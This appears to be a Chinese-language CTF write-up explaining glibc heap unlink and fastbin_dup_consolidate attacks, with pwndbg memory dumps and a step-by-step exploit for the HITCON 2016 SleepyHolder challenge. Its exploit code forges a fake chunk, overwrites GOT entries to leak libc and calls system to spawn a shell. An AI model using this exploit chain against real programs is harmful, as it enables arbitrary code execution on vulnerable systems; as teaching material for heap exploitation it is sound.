unlink攻击条件
两个非fastbin大小的chunk, 如下所示
1 2 3 4 5 6
| 0xf251f0: 0x0000000000000000 0x0000000000000021 <-fake_chunk 0xf25200: 0x00000000006020b8 0x00000000006020c0 0xf25210: 0x0000000000000020 0x0000000000000fb0 <-chunk1 0xf25220: 0x0000000000000061 0x0000000000000000 pwndbg> x/gx 0x6020d0 0x6020d0: 0x0000000000f251f0
|
其中fake_chunk处于释放状态,即chunk1的RPEV_INUSE=0。
fake_chunk->FD->BK=&fake_chunk,即*(0xf251f0+0x10)+0x18 = 0x6020d0
fake_chunk->BK->FD=&fake_chunk,即*(0xf251f0+0x18)+0x10 = 0x6020d0
chunk->prev_size = fake_chunk->size
攻击结果
1 2
| pwndbg> x/gx 0x6020d0 0x6020d0: 0x00000000006020b8
|
fastbin_dup_consolidate攻击效果
double free之后一个在fastbin中,一个在smallbin中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pwndbg> bins fastbins 0x20: 0x0 0x30: 0x603be0 ◂— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins 0x30 [corrupted] FD: 0x603be0 ◂— 0x0 BK: 0x603be0 —▸ 0x7ffff7dd1b98 (main_arena+120) ◂— 0x603be0 largebins empty
|
这时候如果我们malloc(0x28),该chunk虽然可以写入,但是属于一个被释放的smallbin,因此可以在构造该chunk为满足unlink的fake_chunk
例题:hitcon2016-SleepyHolder
该程序功能如下:
1、keep secret(malloc)
1 2 3
| small serect:malloc(40) big secret: malloc(4000) huge secret: malloc(400000)
|
2、wipe secret(free)
1 2
| small secret: 未清零,double free big seret: 未清零,double free
|
3、renew secret(edit)
分析如下:
因为每个secret只能malloc一次,因此无法造成经典的fastbin_dup,但是可以造成fastbin_dup_consolidate
1 2 3 4 5
| add(1, 'a') add(2, 'a') delete(1) add(3, 'a') delete(1)
|
然后修改chunk1构造fake_chunk
1 2 3 4 5 6
| f_ptr = 0x6020d0 fake_chunk = p64(0) + p64(0x21) fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10) fake_chunk += '\x20' add(1, fake_chunk) delete(2)
|
接下来就可以任意读写了,将free@got改为 puts@plt,泄露出libc基址,然后将free@got改为 system
1 2 3 4 5 6 7 8 9 10 11 12
| f = p64(0) + p64(atoi_GOT) + p64(puts_GOT) f += p64(free_GOT) f += p32(1)*3 update(1, f) update(1, p64(puts_plt)) delete(2) s = r.recv(6) libc_base = u64(s.ljust(8, '\x00')) - atoi_offset system = libc_base + system_offset update(1, p64(system)) add(2, '\bin\sh\x00') delete(2)
|